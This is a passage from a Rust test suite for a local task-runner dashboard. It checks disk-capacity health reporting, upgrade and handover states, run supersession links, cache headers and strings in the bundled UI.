}
fn disk_test_scope(home: &FsPath) -> DiskScope {
DiskScope {
runs: home.join("runs"),
worktrees: home.join("worktrees"),
cache: Some(home.join("cache")),
}
}
fn known_disk_capacity() -> DiskCapacity {
DiskCapacity {
free_bytes: Some(100),
runs_bytes: Some(200),
worktrees_bytes: Some(300),
cache_bytes: Some(400),
}
}
#[tokio::test]
async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
let home = TempDir::new().unwrap();
std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
let mut ui = delta_test_ui(home.path());
let state = Arc::get_mut(&mut ui).unwrap();
state.repo = home.path().to_owned();
state.worktrees_root = home.path().join("worktrees");
*ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
ui.monitor
.worker_started
.store(true, std::sync::atomic::Ordering::SeqCst);
let cfg = deputy_config(&ui.repo);
let scope = DiskScope::of(&ui, cfg.as_ref());
let (started, reached) = tokio::sync::oneshot::channel();
let (release, blocked) = std::sync::mpsc::channel();
let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
started.send(()).unwrap();
blocked.recv().unwrap();
known_disk_capacity()
});
assert!(cold.runs_bytes.is_none());
tokio::time::timeout(Duration::from_secs(5), reached)
.await
.unwrap()
.unwrap();
let requests: Vec<_> = (0..4)
.map(|_| {
let ui = ui.clone();
tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
})
.collect();
tokio::time::timeout(Duration::from_secs(5), async {
for request in requests {
let view = request.await.unwrap();
let disk = serde_json::to_value(view.disk).unwrap();
assert!(disk["runs_bytes"].is_null());
assert!(disk["worktrees_bytes"].is_null());
assert!(disk["free_bytes"].is_u64());
}
})
.await
.expect("health must return while the measurement is causally blocked");
assert!(ui.monitor.disk.lock().unwrap().in_flight);
assert!(
ui.monitor
.disk
.lock()
.unwrap()
.capacity
.runs_bytes
.is_none()
);
release.send(()).unwrap();
wait_for_disk_scan(&ui.monitor.disk).await;
assert_eq!(
ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
Some(200)
);
}
#[tokio::test]
async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
let home = TempDir::new().unwrap();
let scope = disk_test_scope(home.path());
let state = Arc::new(Mutex::new(DiskObservation {
scope: Some(scope.clone()),
capacity: known_disk_capacity(),
finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
..Default::default()
}));
let (started, reached) = tokio::sync::oneshot::channel();
let (release, blocked) = std::sync::mpsc::channel();
let before = DiskObservation::observe(&state, scope.clone(), move |_| {
started.send(()).unwrap();
blocked.recv().unwrap();
DiskCapacity {
runs_bytes: Some(250),
..Default::default()
}
});
assert_eq!(before.cache_bytes, Some(400));
tokio::time::timeout(Duration::from_secs(5), reached)
.await
.unwrap()
.unwrap();
let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
for _ in 0..4 {
let scans = duplicate_scans.clone();
let during = DiskObservation::observe(&state, scope.clone(), move |_| {
scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
DiskCapacity::default()
});
assert_eq!(during.runs_bytes, Some(200));
assert_eq!(during.cache_bytes, Some(400));
}
release.send(()).unwrap();
wait_for_disk_scan(&state).await;
let scans = duplicate_scans.clone();
let after = DiskObservation::observe(&state, scope, move |_| {
scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
DiskCapacity::default()
});
wait_for_disk_scan(&state).await;
assert_eq!(after.runs_bytes, Some(250));
assert_eq!(after.free_bytes, Some(100));
assert_eq!(after.cache_bytes, Some(400));
assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
}
#[tokio::test]
async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
let home = TempDir::new().unwrap();
let old_scope = disk_test_scope(home.path());
let mut new_scope = old_scope.clone();
new_scope.cache = Some(home.path().join("replacement-cache"));
let state = Arc::new(Mutex::new(DiskObservation {
scope: Some(old_scope.clone()),
capacity: known_disk_capacity(),
..Default::default()
}));
let (started, reached) = tokio::sync::oneshot::channel();
let (release, blocked) = std::sync::mpsc::channel();
DiskObservation::observe(&state, old_scope, move |_| {
started.send(()).unwrap();
blocked.recv().unwrap();
known_disk_capacity()
});
tokio::time::timeout(Duration::from_secs(5), reached)
.await
.unwrap()
.unwrap();
let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let scans = duplicate_scans.clone();
let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
DiskCapacity::default()
});
assert!(changed.cache_bytes.is_none());
assert!(changed.runs_bytes.is_none());
release.send(()).unwrap();
wait_for_disk_scan(&state).await;
{
let observation = state.lock().unwrap();
assert!(observation.capacity.cache_bytes.is_none());
assert!(observation.finished.is_none());
}
DiskObservation::observe(&state, new_scope.clone(), move |scope| {
assert_eq!(scope, &new_scope);
DiskCapacity {
cache_bytes: Some(999),
..Default::default()
}
});
wait_for_disk_scan(&state).await;
assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
}
#[tokio::test]
async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
let home = TempDir::new().unwrap();
let scope = disk_test_scope(home.path());
let state = Arc::new(Mutex::new(DiskObservation {
scope: Some(scope.clone()),
capacity: known_disk_capacity(),
..Default::default()
}));
DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
wait_for_disk_scan(&state).await;
{
let mut observation = state.lock().unwrap();
assert_eq!(observation.capacity.cache_bytes, Some(400));
assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
}
DiskObservation::observe(&state, scope, |_| DiskCapacity {
cache_bytes: Some(450),
..Default::default()
});
wait_for_disk_scan(&state).await;
assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
}
#[test]
fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
let home = TempDir::new().unwrap();
assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
assert_eq!(disk_capacity_size(home.path()), Some(0));
std::fs::create_dir(home.path().join("nested")).unwrap();
std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
assert_eq!(disk_capacity_size(home.path()), Some(5));
#[cfg(unix)]
{
assert_eq!(
disk_capacity_size(&home.path().join("nested/data/child")),
None
);
}
#[cfg(unix)]
{
std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
assert_eq!(disk_capacity_size(home.path()), Some(5));
}
}
#[tokio::test]
async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
let repo = TempDir::new().expect("repo dir");
std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
.expect("write magi.toml");
let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
let health = fx.get("/api/health").await.json();
assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
assert_eq!(
health["update"]["available"], false,
"checking is off, which reads as \"unknown\", not \"none\""
);
assert!(health["update"]["to"].is_null());
assert!(
health["upgrade"].is_null(),
"nothing has ever asked this deck to upgrade"
);
}
#[tokio::test]
async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
let fx = Fixture::start().await;
write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
progress.parked_run = Some("20260905-000000-cd51".to_owned());
progress.advance(crate::updater::Stage::Parking);
crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
let health = fx.get("/api/health").await.json();
assert_eq!(health["upgrade"]["stage"], "parking");
assert_eq!(health["upgrade"]["from"], "0.5.1");
assert_eq!(health["upgrade"]["to"], "0.5.2");
let waiting_on = health["upgrade"]["waiting_on"]
.as_str()
.expect("waiting_on is set while parking a known run");
assert!(waiting_on.contains("cd51"), "{waiting_on}");
assert!(waiting_on.contains("implementing"), "{waiting_on}");
}
#[tokio::test]
async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
let fx = Fixture::start().await;
let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
progress.advance(crate::updater::Stage::Done);
crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
let health = fx.get("/api/health").await.json();
assert_eq!(health["upgrade"]["stage"], "done");
assert!(
health["upgrade"]["waiting_on"].is_null(),
"nothing to wait on once it is done"
);
}
#[tokio::test]
async fn the_handover_signal_wakes_one_waiter_once() {
let signal = Notify::new();
signal.notify_one();
tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
.await
.expect("an early signal is still seen");
assert!(
tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
.await
.is_err(),
"a consumed signal must not wake a second time"
);
let signal = std::sync::Arc::new(signal);
let waiter = tokio::spawn({
let signal = std::sync::Arc::clone(&signal);
async move { wait_for_handover(&signal).await }
});
tokio::time::sleep(Duration::from_millis(20)).await;
assert!(!waiter.is_finished(), "nothing was signalled yet");
signal.notify_one();
tokio::time::timeout(Duration::from_secs(5), waiter)
.await
.expect("a late signal wakes the waiter")
.expect("join");
}
#[tokio::test]
async fn health_says_how_long_a_handover_has_been_stuck() {
let fx = Fixture::start().await;
let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
progress.advance(crate::updater::Stage::Replaced);
progress.updated_at = Timestamp::now() - Duration::from_secs(600);
crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
let health = fx.get("/api/health").await.json();
let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
assert!(stuck >= 600, "{stuck}");
assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
assert!(health["upgrade"]["waiting_on"].as_str().is_some());
}
#[tokio::test]
async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
let home = tempfile::tempdir().expect("temp home");
let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
progress.advance(crate::updater::Stage::Parking);
crate::updater::write_progress(home.path(), &progress).expect("seed");
let mut again = progress.clone();
again.advance(crate::updater::Stage::Replaced);
crate::updater::write_progress(home.path(), &again).expect("replaced");
let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
crate::updater::write_progress(home.path(), &fresh).expect("downloading");
let after = crate::updater::read_progress(home.path()).expect("record");
assert_eq!(after.stage, crate::updater::Stage::Parking);
}
#[tokio::test]
async fn health_does_not_call_a_live_parking_wait_stuck() {
let fx = Fixture::start().await;
let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
progress.parked_run = Some("20260905-000000-cd51".to_owned());
progress.advance(crate::updater::Stage::Parking);
let hours = Duration::from_secs(3 * 3600);
progress.started_at = Timestamp::now() - hours;
progress.updated_at = Timestamp::now() - hours;
crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
let _lease = crate::updater::LeaseGuard::enter(
fx.home.path(),
Some("20260905-000000-cd51".to_owned()),
);
let health = fx.get("/api/health").await.json();
assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
assert!(health["upgrade"]["stuck_kind"].is_null());
assert_eq!(health["upgrade"]["handover_alive"], true);
let waiting_on = health["upgrade"]["waiting_on"]
.as_str()
.expect("waiting_on");
assert!(waiting_on.contains("cd51"), "{waiting_on}");
}
fn idle_ui(home: &TempDir) -> Ui {
let runs = home.path().join("runs");
std::fs::create_dir_all(&runs).expect("runs dir");
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
runs,
home.path().to_path_buf(),
PathBuf::from("/repo/magi"),
)
.with_launch(launch_idle)
}
#[tokio::test]
async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
let home = TempDir::new().expect("temp home");
let ui = idle_ui(&home);
let lease = crate::worker::try_lease(home.path(), "scheduler")
.expect("scheduler lease")
.expect("free");
crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
.expect("request stop");
let error = ui
.start_detached_loop()
.await
.expect_err("transition is still live");
assert_eq!(error.status, StatusCode::CONFLICT);
assert!(error.message.contains("still running or stopping"));
assert_eq!(
crate::worker::control(home.path(), "scheduler").unwrap(),
Some(crate::worker::Control::Stop)
);
drop(lease);
}
#[tokio::test]
async fn handover_releases_listener_without_waiting_for_execution_leases() {
let home = TempDir::new().expect("temp home");
let ui = idle_ui(&home);
let turns = ui
.begin_talk_turn("active-chat")
.expect("claim")
.expect("free");
let execution = crate::worker::try_lease(home.path(), "active-task")
.expect("execution lease")
.expect("free");
let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
.await
.expect("bind loopback");
let address = listener.local_addr().expect("address");
let admissions = Arc::clone(&ui.admissions);
let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
let successor_started = std::sync::atomic::AtomicBool::new(false);
tokio::time::timeout(
Duration::from_secs(2),
hand_over(home.path(), &admissions, served, || {
successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
Ok(1)
}),
)
.await
.expect("restart must not wait for execution")
.expect("handover");
assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
let successor = bind_waiting(address)
.await
.expect("successor binds released address");
assert_eq!(successor.local_addr().unwrap(), address);
assert!(turns.owns(), "the chat lease survives restart");
assert!(
crate::worker::try_lease(home.path(), "active-task")
.unwrap()
.is_none()
);
drop(execution);
drop(turns);
}
#[tokio::test]
async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
let home = TempDir::new().expect("temp home");
let ui = idle_ui(&home);
let admission = ui.begin_admission().expect("admit send");
let turn = ui
.begin_talk_turn("active-chat")
.expect("claim")
.expect("free");
let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
.await
.expect("bind loopback");
let address = listener.local_addr().expect("address");
let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
let successor_called = std::sync::atomic::AtomicBool::new(false);
let handover = hand_over(home.path(), &ui.admissions, served, || {
successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
Ok(1)
});
tokio::pin!(handover);
std::future::poll_fn(|cx| {
assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
std::task::Poll::Ready(())
})
.await;
assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
assert!(
ui.begin_admission().is_err(),
"new ingress cannot race the drain"
);
assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
drop(admission);
tokio::time::timeout(Duration::from_secs(2), handover)
.await
.expect("only publication may delay restart")
.expect("handover");
assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
assert!(
turn.owns(),
"the detached chat turn is not awaited or cancelled"
);
assert!(
ui.begin_admission().is_err(),
"old accepted connections stay closed"
);
drop(turn);
}
#[test]
fn health_worker_metadata_never_contains_payload_or_result() {
let view = WorkerView::from(crate::worker::Job {
id: "job".into(),
sequence: 1,
kind: "service".into(),
key: "maintenance".into(),
payload: serde_json::json!({"env": {"TOKEN": "private"}}),
generation: "generation".into(),
version: Some("1.2.3".into()),
status: crate::worker::Status::Running,
result: Some("private diagnostics".into()),
pid: Some(4242),
created_at: 1,
finished_at: None,
});
let value = serde_json::to_value(view).expect("serialize public metadata");
assert_eq!(value["version"], "1.2.3");
assert_eq!(value["pid"], 4242);
assert!(value.get("payload").is_none());
assert!(value.get("result").is_none());
assert!(!value.to_string().contains("private"));
}
#[test]
fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
let home = TempDir::new().expect("temp home");
let ui = idle_ui(&home);
std::fs::write(
home.path().join("daemon.json"),
serde_json::json!({
"schema": 2, "pid": 4242, "worker_protocol": 1,
"updated_at": Timestamp::now().to_string(), "idle": true,
})
.to_string(),
)
.expect("status");
let reading = daemon::read_status(home.path());
assert!(Foreign::of(reading.as_ref()).is_none());
let view = ui.runtime_loop_view(reading, &[]);
assert!(view.running);
assert!(view.owned);
}
#[test]
fn only_an_explicit_one_requests_a_resume() {
assert!(!resume_requested(None));
assert!(!resume_requested(Some("0".into())));
assert!(!resume_requested(Some("".into())));
assert!(resume_requested(Some("1".into())));
}
#[test]
fn an_error_is_visible_from_where_the_button_is() {
let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
..APP_CSS.find(".alert-text").expect(".alert-text")];
assert!(
alert.contains("position: fixed"),
"an error about the thing under your thumb has to be visible from \
where your thumb is: {alert}"
);
assert!(
alert.contains("z-index: 25"),
"above the dock (20) and the run-actions FAB (15), so neither \
buries it: {alert}"
);
assert!(
alert.contains("var(--tap)"),
"and clear of the dock and the home indicator: {alert}"
);
assert!(
alert.contains("var(--s4) + var(--tap) + var(--s3)"),
"the FAB's column stays free: {alert}"
);
}
#[tokio::test]
async fn an_older_attempt_says_what_replaced_it() {
let fx = Fixture::start().await;
let q = fx.queue();
let runs = fx.runs();
let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
write_run(&runs, first, RunStatus::Stalled);
write_run(&runs, second, RunStatus::Blocked);
let mut t = Task::new(
"one task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.runs = vec![first.to_owned(), second.to_owned()];
q.put(&mut t).expect("put");
let rows = fx.get("/api/runs").await.json();
let by = |short: &str| -> Value {
rows.as_array()
.unwrap()
.iter()
.find(|r| r["short"] == short)
.cloned()
.unwrap_or(Value::Null)
};
assert_eq!(by("aaaa")["superseded_by"], "bbbb");
assert!(
by("bbbb")["superseded_by"].is_null(),
"the latest attempt is not superseded by anything"
);
assert!(APP_JS.contains("run.superseded_by"));
assert!(APP_JS.contains("Superseded by"));
}
fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
let mut t = Task::new(
"one task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
t.status = status;
t
}
#[test]
fn source_link_picks_the_page_that_filed_the_task() {
let agent = |node: &str| Source::Agent {
run: "20260904-014455-ab12".to_owned(),
node: node.to_owned(),
};
let chat = source_link(&agent("chat")).expect("chat link");
assert_eq!(chat.kind, "chat");
assert_eq!(chat.id, "20260904-014455-ab12");
assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
let run = source_link(&agent("implement")).expect("run link");
assert_eq!(
(run.kind, run.href.as_str()),
("run", "#/runs/20260904-014455-ab12")
);
assert_eq!(source_link(&Source::Human), None);
assert_eq!(
source_link(&Source::Issue {
number: 3,
repo: "o/r".to_owned()
}),
None
);
let odd = source_link(&Source::Agent {
run: "a b/c".to_owned(),
node: "chat".to_owned(),
})
.expect("link");
assert_eq!(odd.href, "#/chat/a%20b%2Fc");
}
#[test]
fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
assert!(
!APP_JS.contains("src.node === \"chat\""),
"inline href rule is back"
);
assert!(
APP_JS.matches("sourceLinkOf(").count() >= 4,
"helper must serve every page"
);
assert!(
APP_JS.matches("openChatLink(").count() >= 3,
"the run page still needs its explicit chat link"
);
assert!(
!APP_JS.contains("const openChat = el("),
"the Queue card duplicates its source label link again"
);
assert!(
APP_JS.contains("metaKids.push(link ? el(\"a\""),
"the task page must link a chat source label too"
);
}
#[test]
fn task_ref_carries_the_source_link_for_a_chat_task() {
let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
t.source = Source::Agent {
run: "20260904-014455-ab12".to_owned(),
node: "chat".to_owned(),
};
let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
let v = serde_json::to_value(&out).expect("json");
assert_eq!(v["source_link"]["kind"], "chat", "{v}");
assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
assert_eq!(v["source_label"], t.source.label());
let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
.expect("json");
assert!(v["source_link"].is_null(), "{v}");
}
#[test]
fn task_view_serializes_source_link() {
let mut t = Task::new(
"t".to_owned(),
"t".to_owned(),
PathBuf::from("/repo"),
Source::Agent {
run: "20260901-000000-aaaa".to_owned(),
node: "implement".to_owned(),
},
);
t.runs.clear();
let v = serde_json::to_value(TaskView::from(t)).expect("json");
assert_eq!(v["source_link"]["kind"], "run", "{v}");
assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
}
#[test]
fn task_view_serializes_urgent_flag() {
let mut t = Task::new(
"t".to_owned(),
"t".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
assert_eq!(v["urgent"], false, "{v}");
t.urgent = true;
let v = serde_json::to_value(TaskView::from(t)).expect("json");
assert_eq!(v["urgent"], true, "{v}");
assert!(APP_JS.contains("task.urgent === true"));
}
#[tokio::test]
async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
let fx = Fixture::start().await;
let runs = fx.runs();
let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
write_run(&runs, old, RunStatus::Blocked);
write_run(&runs, new, RunStatus::Merged);
let mut t = outcome_task(&[old, new], TaskStatus::Done);
fx.queue().put(&mut t).expect("put");
let view = fx.get(&format!("/api/runs/{old}")).await.json();
let task = &view["task"];
assert_eq!(task["status"], "done");
assert_eq!(task["is_latest"], false);
assert_eq!(task["latest"]["short"], "bbbb");
assert_eq!(task["finished_by"]["id"], new);
assert_eq!(task["finished_by"]["outcome"], "merged");
assert_eq!(task["closed_by_hand"], false);
assert_eq!(view["status"], "blocked", "the run keeps its own status");
assert!(APP_JS.contains("finished_by"));
assert!(APP_JS.contains("superseded by run"));
}
#[tokio::test]
async fn the_latest_run_reports_a_held_task_without_a_successor() {
let fx = Fixture::start().await;
let runs = fx.runs();
let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
write_run(&runs, old, RunStatus::Stalled);
write_run(&runs, new, RunStatus::Blocked);
let mut t = outcome_task(&[old, new], TaskStatus::Held);
fx.queue().put(&mut t).expect("put");
let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
assert_eq!(task["status"], "held");
assert_eq!(task["is_latest"], true);
assert!(task["latest"].is_null());
assert!(task["finished_by"].is_null());
assert_eq!(task["closed_by_hand"], false);
}
#[tokio::test]
async fn a_direct_run_has_no_task_outcome() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-aaaa";
write_run(&runs, id, RunStatus::Blocked);
let view = fx.get(&format!("/api/runs/{id}")).await.json();
assert!(view["task"].is_null());
}
#[test]
fn task_outcome_does_not_guess_a_finishing_run() {
let a = "20260901-000000-aaaa";
let b = "20260901-000000-bbbb";
let c = "20260901-000000-cccc";
let dir = tempfile::tempdir().expect("tempdir");
write_run(dir.path(), a, RunStatus::Blocked);
write_run(dir.path(), b, RunStatus::VerifiedNoop);
let read = |id: &str| read_run(dir.path(), id).ok();
let t = outcome_task(&[a, b, c], TaskStatus::Done);
let out = task_outcome(&t, a, 3, read);
assert!(out.finished_by.is_none());
assert!(out.closed_by_hand);
let latest = out.latest.expect("latest");
assert_eq!(latest.id, c);
assert_eq!(latest.status, None);
assert_eq!(latest.outcome, "record unreadable");
write_run(dir.path(), c, RunStatus::Ready);
let t = outcome_task(&[a, c], TaskStatus::Done);
let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
assert_eq!(out.finished_by.expect("finisher").id, c);
assert!(!out.closed_by_hand);
let t = outcome_task(&[a, b, a], TaskStatus::Held);
assert!(task_outcome(&t, a, 3, read).is_latest);
}
#[tokio::test]
async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
let fx = Fixture::start().await;
let q = fx.queue();
let runs = fx.runs();
let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
write_run(&runs, first, RunStatus::Blocked);
write_run(&runs, second, RunStatus::Merged);
let mut t = Task::new(
"one task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.runs = vec![first.to_owned(), second.to_owned()];
q.put(&mut t).expect("put");
let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
assert_eq!(earlier["superseded_by"], "dddd");
assert_eq!(earlier["latest_attempt"]["id"], second);
assert_eq!(earlier["latest_attempt"]["short"], "dddd");
assert_eq!(
earlier["latest_attempt"]["resolved"], true,
"the run that replaced it landed, so this one reads as settled"
);
let later = fx.get(&format!("/api/runs/{second}")).await.json();
assert!(
later["superseded_by"].is_null(),
"the latest attempt is not superseded by anything"
);
assert!(
later["latest_attempt"].is_null(),
"the latest attempt has no later attempt of its own"
);
assert!(APP_JS.contains("run.latest_attempt"));
assert!(APP_JS.contains("data-superseded"));
assert!(APP_JS.contains("#/runs/${latest.id}"));
}
#[tokio::test]
async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
let fx = Fixture::start().await;
let q = fx.queue();
let runs = fx.runs();
let (a, b, c) = (
"20260901-000000-aaaa",
"20260901-000000-bbbb",
"20260901-000000-cccc",
);
write_run(&runs, a, RunStatus::Blocked);
write_run(&runs, b, RunStatus::Blocked);
write_run(&runs, c, RunStatus::Merged);
let mut t = Task::new(
"retried twice".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
q.put(&mut t).expect("put");
let view = fx.get(&format!("/api/runs/{a}")).await.json();
assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
assert_eq!(
view["latest_attempt"]["id"], c,
"the chain's current head, not the intermediate Blocked retry"
);
assert_eq!(view["latest_attempt"]["resolved"], true);
let mid = fx.get(&format!("/api/runs/{b}")).await.json();
assert_eq!(mid["latest_attempt"]["id"], c);
assert_eq!(mid["latest_attempt"]["resolved"], true);
}
#[tokio::test]
async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
let fx = Fixture::start().await;
let q = fx.queue();
let runs = fx.runs();
let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
write_run(&runs, still_blocked_a, RunStatus::Blocked);
write_run(&runs, still_blocked_b, RunStatus::Blocked);
let mut t1 = Task::new(
"still stuck".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
q.put(&mut t1).expect("put");
let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
assert_eq!(view1["latest_attempt"]["resolved"], false);
assert_eq!(view1["latest_attempt"]["status"], "blocked");
assert_eq!(view1["latest_attempt"]["done"], true);
let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
write_run(&runs, run_a, RunStatus::Blocked);
write_run(&runs, run_b, RunStatus::Implementing);
let mut t3 = Task::new(
"retrying".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
q.put(&mut t3).expect("put");
let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
assert_eq!(view3["latest_attempt"]["id"], run_b);
assert_eq!(view3["latest_attempt"]["resolved"], false);
assert_eq!(view3["latest_attempt"]["done"], false);
let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
write_run(&runs, noop_a, RunStatus::Blocked);
write_run(&runs, noop_b, RunStatus::VerifiedNoop);
let mut t2 = Task::new(
"claims done".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
q.put(&mut t2).expect("put");
let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
assert_eq!(
view2["latest_attempt"]["resolved"], false,
"an unverified no-op claim must not read as a confirmed finish"
);
assert!(APP_JS.contains("latest.resolved"));
assert!(APP_JS.contains("successorNote(latest, inFlight)"));
assert!(APP_JS.contains("Latest attempt: "));
assert!(APP_JS.contains("in flight"));
assert!(APP_JS.contains("not resolved"));
}
#[tokio::test]
async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
let fx = Fixture::start().await;
let js = fx.get("/app.js").await;
assert_eq!(js.status, 200);
let tag = js
.header("etag")
.expect("an etag to revalidate against")
.to_owned();
assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
assert_eq!(
js.header("cache-control"),
Some("no-cache, must-revalidate"),
"the phone has to ask every time"
);
let again = fx
.get_with("/app.js", &[("if-none-match", tag.as_str())])
.await;
assert_eq!(
again.status, 304,
"a deck it already has costs one round trip"
);
assert!(again.body.is_empty(), "304 carries no body");
let weak = fx
.get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
.await;
assert_eq!(weak.status, 304);
let stale = fx
.get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
.await;
assert_eq!(stale.status, 200, "an older build must be replaced");
assert!(stale.body.contains("renderRunActions"));
}
#[test]
fn the_task_detail_has_an_actions_fab_and_sheet() {
assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
assert!(APP_JS.contains("renderTaskActions(null);"));
let sheet = APP_JS
.find("function renderTaskActions")
.expect("sheet renderer");
let body = &APP_JS[sheet..sheet + 3000];
assert!(body.contains("changePriority("));
assert!(body.contains("openTaskEdit(task)"));
